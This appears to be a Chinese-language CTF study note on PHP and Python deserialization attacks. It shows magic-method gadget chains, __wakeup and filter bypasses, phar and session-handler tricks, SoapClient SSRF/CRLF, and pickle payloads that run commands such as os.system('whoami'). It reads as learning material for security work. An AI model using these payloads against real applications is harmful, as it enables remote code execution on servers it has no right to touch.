通过恶意修改对象属性,造成漏洞利用或命令执行
php反序列化
在请求头传序列化字符串可以url编码,不然有时候会被’;’分割成不完整
魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| __construct:创建对象最先调用 __destruct:对象被销毁调用 __clone:使用clone复制对象时调用,如clone $obj __get:读取不可访问的值时调用 __set:给不可访问的属性赋值时调用 __isset:对不可访问的属性调用isset或empty时调用 __unset:对不可访问的属性调用unset时调用 __call:调用不可访问的方法时触发 __callStatic:同__call __toString:对象被当作字符串使用时触发,如echo $obj if echo file_put_content ''. __invoke:以函数的方式调用对象时触发,如$obj() __sleep:在执行serialize之前调用,返回需要被序列化的属性数组 __wakeup:执行unserialize时调用 __serialize/__unserialize:优先级高于__sleep,__wakeup
|
绕过
可以在数字前加+绕过
引用绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| 例子:class 鼻嗅爱{ private $亢金龙; private $定风珠; private $黄眉; public function __toString() { $this->亢金龙 = '飞天'; $this->定风珠 = '落地'; if($this->亢金龙 == '飞天'){ die('亢金龙怎么才能落地呢?'); }elseif($this->亢金龙 == '落地') { echo 'level up to 3'; return $this->黄眉->后天人种袋; } } } 只需要在exp中加入 public function __construct(){ $this->亢金龙=&$this->定风珠; } 就可以绕过if
|
编码绕过
进制绕过:大写S可以解析十六进制
字符逃逸
属性修饰符
1 2 3 4 5 6 7 8 9 10 11 12
|
当类对象中变量不同修饰符序列化后的变化 权限 序列化变量名 public 变量名; "变量名" (正常不变) private 变量名; "%00类名%00变量名" protected 变量名; "%00*%00变量名"
在很多下情况需要注意如果使用echo进行输出类对象的序列化输出,默认会把%00空格吃掉,在丢失%00空格的情况下反序列化会失败
绕过: 将序列化字符串用urlencode进行url编码,echo urlencode(serialize($a))
|
__wakeup绕过:
1.对象属性个数的值就大于真实的属性个数
1
| 例子:O:3:"NSS":1:{s:4:"name";s:3:"ctf";}改成:O:3:"NSS":2:{s:4:"name";s:3:"ctf";}
|
2.php引用赋值&
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| 例子: <?php class KeyPort{ public $key; public function __destruct() { $this->key=False; if(!isset($this->wakeup)||!$this->wakeup){ echo "You get it!"; } } public function __wakeup(){ $this->wakeup=True; } } if(isset($_POST['pop'])){ @unserialize($_POST['pop']); } 可以这样写exp <?php class KeyPort{ public $key; } $keyport = new KeyPort(); $keyport->key=&$keyport->wakeup; echo serialize($keyport);
|
session反序列化
要求漏洞页面使用php处理器,而php_serialize处理器有其他页面使用或者可以控制
一般是使用php_serialize处理器存储会话,然后用php处理器来读取会话时触发,因为这两个处理器的工作方式不同,如果用php_serialize存储的会话带有管道符|,再用php处理器去处理会让php处理器造成一些误解
1 2 3
| php会寻找管道符|,管道符的左边是变量名,右边是serialize()序列化后的值,当读取时会对左边的进行unserialize() php_serialize会直接对整个数组执行标准的serialize()函数,读取时是对整个序列化字符串进行unserialize()
|
php中session有三种处理器,可在php.ini中修改选择使用那种处理器session.serialize_handler
| 处理器 |
对应储存格式 |
| php |
键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
| php_binary |
键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
| php_serialize (php>=5.5.4) |
经过 serialize() 函数反序列处理的数组 |
1 2 3 4 5
| <?php ini_set('session.serialize_handler','php'); session_start(); $_SESSION['name'] = $_GET['name']; echo $_SESSION['name'];
|
phar反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class Test { public $num; } $a = new Test(); $a->num=1;
$phar = new Phar("a.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetaData($a); $phar->addFromString("test2.txt", "test2"); $phar->stopBuffering();
?>
|
原生类
SoapClient:当SoapClient调用一个不存在的方法时,会自动调用__call魔术方法,会立即向location发送一个HTTP报文
php7版本之前在底层并没有做严格过滤,只是把user_agent字符串无脑拼接到了User-Agent:后面,然后加了“\r\n”,所以存在CRLF注入
直接造成了PHP反序列化、SSRF和CRLF
1 2 3 4 5 6 7 8
| if (Z_TYPE_P(user_agent) == IS_STRING) { smart_str_appendl(soap_headers, "User-Agent: ", sizeof("User-Agent: ")-1); smart_str_appendl(soap_headers, Z_STRVAL_P(user_agent), Z_STRLEN_P(user_agent)); smart_str_appendl(soap_headers, "\r\n", sizeof("\r\n")-1); } else { smart_str_appendl(soap_headers, "User-Agent: PHP-SOAP/" PHP_VERSION "\r\n", sizeof("User-Agent: PHP-SOAP/" PHP_VERSION "\r\n")-1); }
|
SplFileObject
Pickle反序列化
绕过:绕过方式可以参考python沙盒逃逸
系统命令执行函数
分返回状态码(无回显)和返回命令结果
无回显可以尝试操作文件,反弹shell,有回显任意
有回显
| 函数 |
命令示例 |
subprocess.getoutput |
("ls",) |
os.popen().read |
("ls",) |
eval |
("__import__('os').listdir('.'))",) |
1 2
| def __reduce__(self): return (__import__("subprocess").getoutput, ("ls",))
|
无回显
| 函数 |
命令示例 |
| os.system |
(“ls”,) |
| subprocess.call |
(“ls”,) |
| subprocess.Popen |
(“ls”,) |
| os.popen |
(“ls”,) |
| print |
(“test”,) |
1 2
| def __reduce__(self): return (__import__("os").system, ("ls",))
|
绕过R指令
i指令
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
1 2 3 4 5
| opcode=b'''(S'stao' I18 i__main__ Animal .'''
|
o指令
寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
1 2 3 4 5
| opcode=b'''(c__main__ Animal S'stao' I18 o.'''
|
假如这里我们不知道stao模块的内容,我们可以通过变量覆盖的方式将原有stao中的变量覆盖掉
1 2 3 4 5 6 7 8 9 10 11
| opcode=b'''c__main__ stao (S'name' S'Hacker' S'age' I18 db(c__main__ Animal S'Hacker' I18 o.'''
|
b指令
其实我们在上文已经使用过了b指令,当时他的作用是用来更新栈上的一个字典进行变量覆盖。实际上官方对它的解释是BUILD,当PVM解析到b指令时执行__setstate__或者__dict__.update()。
十六进制绕过
S操作码也可以识别十六进制字符串
1 2 3 4 5 6 7 8 9
| b'''capp admin (S'\x73ecret' I1 db0(capp User S"admin" I1 o.'''
|
利用V指令进行Unicode绕过
如果过滤了secret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| b'''capp admin (S'secret' I1 db0(capp User S"admin" I1 o.'''
b'''capp admin (Vsecr\u0065t I1 db0(capp User S"admin" I1 o.'''
|
pker.py工具使用
pker最主要的有三个函数GLOBAL()、INST()和OBJ()
1 2 3
| GLOBAL('os', 'system') => cos\nsystem\n INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| 例子:
cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tRS'eval' tR(S'__import__("os").system("whoami")' tR.
getattr = GLOBAL('builtins', 'getattr')
get = getattr(GLOBAL('builtins', 'dict'), 'get')
golbals=GLOBAL('builtins', 'globals')
builtins_dict=golbals()
__builtins__ = get(builtins_dict, '__builtins__')
eval=getattr(__builtins__,'eval') eval("__import__('os').system('whoami')") return
|
版本0操作码表
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169
| <table> <colgroup> <col style="width: 8%;"> <col style="width: 50%;"> <col style="width: 28%;"> <col style="width: 44%;"> </colgroup> <thead> <tr> <th>指令</th> <th>描述</th> <th>具体写法</th> <th>栈上的变化</th> </tr> </thead> <tbody> <tr> <td><code>c</code></td> <td>获取一个全局对象或 import 一个模块</td> <td><code>c[module]\n[instance]\n</code></td> <td>获得的对象入栈</td> </tr> <tr> <td><code>o</code></td> <td>寻找栈中的上一个 MARK,以之间的第一个数据(必须为函数)为 callable,第二个到第 n 个数据为参数,执行该函数(或实例化一个对象)</td> <td><code>o</code></td> <td>这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈</td> </tr> <tr> <td><code>i</code></td> <td>相当于 <code>c</code> 和 <code>o</code> 的组合,先获取一个全局函数,然后寻找栈中的上一个 MARK,并组合之间的数据为元组,以该元组为参数执行 全局函数(或实例化一个对象)</td> <td><code>i[module]\n[callable]\n</code></td> <td>这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈</td> </tr> <tr> <td><code>N</code></td> <td>实例化一个 None</td> <td><code>N</code></td> <td>获得的对象入栈</td> </tr> <tr> <td><code>S</code></td> <td>实例化一个字符串对象</td> <td><code>S'xxx'\n</code>(也可以使用双引号、<code>\'</code> 等 Python 字符串形式)</td> <td>获得的对象入栈</td> </tr> <tr> <td><code>V</code></td> <td>实例化一个 UNICODE 字符串对象</td> <td><code>Vxxx\n</code></td> <td>获得的对象入栈</td> </tr> <tr> <td><code>I</code></td> <td>实例化一个 int 对象</td> <td><code>Ixxx\n</code></td> <td>获得的对象入栈</td> </tr> <tr> <td><code>F</code></td> <td>实例化一个 float 对象</td> <td><code>Fx.x\n</code></td> <td>获得的对象入栈</td> </tr> <tr> <td><code>R</code></td> <td>选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数</td> <td><code>R</code></td> <td>函数和参数出栈,函数的返回值入栈</td> </tr> <tr> <td><code>.</code></td> <td>程序结束,栈顶的一个元素作为 <code>pickle.loads()</code> 的返回值</td> <td><code>.</code></td> <td>无</td> </tr> <tr> <td><code>(</code></td> <td>向栈中压入一个 MARK 标记</td> <td><code>(</code></td> <td>MARK 标记入栈</td> </tr> <tr> <td><code>t</code></td> <td>寻找栈中的上一个 MARK,并组合之间的数据为元组</td> <td><code>t</code></td> <td>MARK 标记以及被组合的数据出栈,获得的对象入栈</td> </tr> <tr> <td><code>)</code></td> <td>向栈中直接压入一个空元组</td> <td><code>)</code></td> <td>空元组入栈</td> </tr> <tr> <td><code>l</code></td> <td>寻找栈中的上一个 MARK,并组合之间的数据为列表</td> <td><code>l</code></td> <td>MARK 标记以及被组合的数据出栈,获得的对象入栈</td> </tr> <tr> <td><code>]</code></td> <td>向栈中直接压入一个空列表</td> <td><code>]</code></td> <td>空列表入栈</td> </tr> <tr> <td><code>d</code></td> <td>寻找栈中的上一个 MARK,并组合之间的数据为字典(数据必须有偶数个,即呈 key-value 对)</td> <td><code>d</code></td> <td>MARK 标记以及被组合的数据出栈,获得的对象入栈</td> </tr> <tr> <td><code>}</code></td> <td>向栈中直接压入一个空字典</td> <td><code>}</code></td> <td>空字典入栈</td> </tr> <tr> <td><code>p</code></td> <td>将栈顶对象储存至 <code>memo_n</code></td> <td><code>pn\n</code></td> <td>无</td> </tr> <tr> <td><code>g</code></td> <td>将 <code>memo_n</code> 的对象压栈</td> <td><code>gn\n</code></td> <td>对象被压栈</td> </tr> <tr> <td><code>0</code></td> <td>丢弃栈顶对象</td> <td><code>0</code></td> <td>栈顶对象被丢弃</td> </tr> <tr> <td><code>b</code></td> <td>使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置</td> <td><code>b</code></td> <td>栈上第一个元素出栈</td> </tr> <tr> <td><code>s</code></td> <td>将栈的第一个和第二个对象作为 key-value 对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为 key)中</td> <td><code>s</code></td> <td>第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新</td> </tr> <tr> <td><code>u</code></td> <td>寻找栈中的上一个 MARK,组合之间的数据(数据必须有偶数个,即呈 key-value 对)并全部添加或更新到该 MARK 之前的一个元素(必须为字典)中</td> <td><code>u</code></td> <td>MARK 标记以及被组合的数据出栈,字典被更新</td> </tr> <tr> <td><code>a</code></td> <td>将栈的第一个元素 append 到第二个元素(列表)中</td> <td><code>a</code></td> <td>栈顶元素出栈,第二个元素(列表)被更新</td> </tr> <tr> <td><code>e</code></td> <td>寻找栈中的上一个 MARK,组合之间的数据并 extends 到该 MARK 之前的一个元素(必须为列表)中</td> <td><code>e</code></td> <td>MARK 标记以及被组合的数据出栈,列表被更新</td> </tr> </tbody> </table>
|